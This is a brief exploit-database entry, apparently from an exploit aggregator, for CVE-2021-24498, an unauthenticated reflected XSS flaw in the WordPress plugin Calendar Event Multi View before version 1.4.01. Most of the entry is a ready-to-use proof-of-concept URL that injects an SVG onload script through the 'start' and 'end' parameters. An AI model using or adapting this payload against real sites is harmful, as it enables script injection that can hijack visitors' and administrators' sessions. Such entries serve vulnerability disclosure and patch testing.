Exploit for Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24498

Name: Exploit for Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24498
Rating: 5 (196 reviews)

2021-07-05 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:3C5A5187-42B3-4F88-9B0E-4FDFA1C39E86
https://www.example.com/?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22
&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22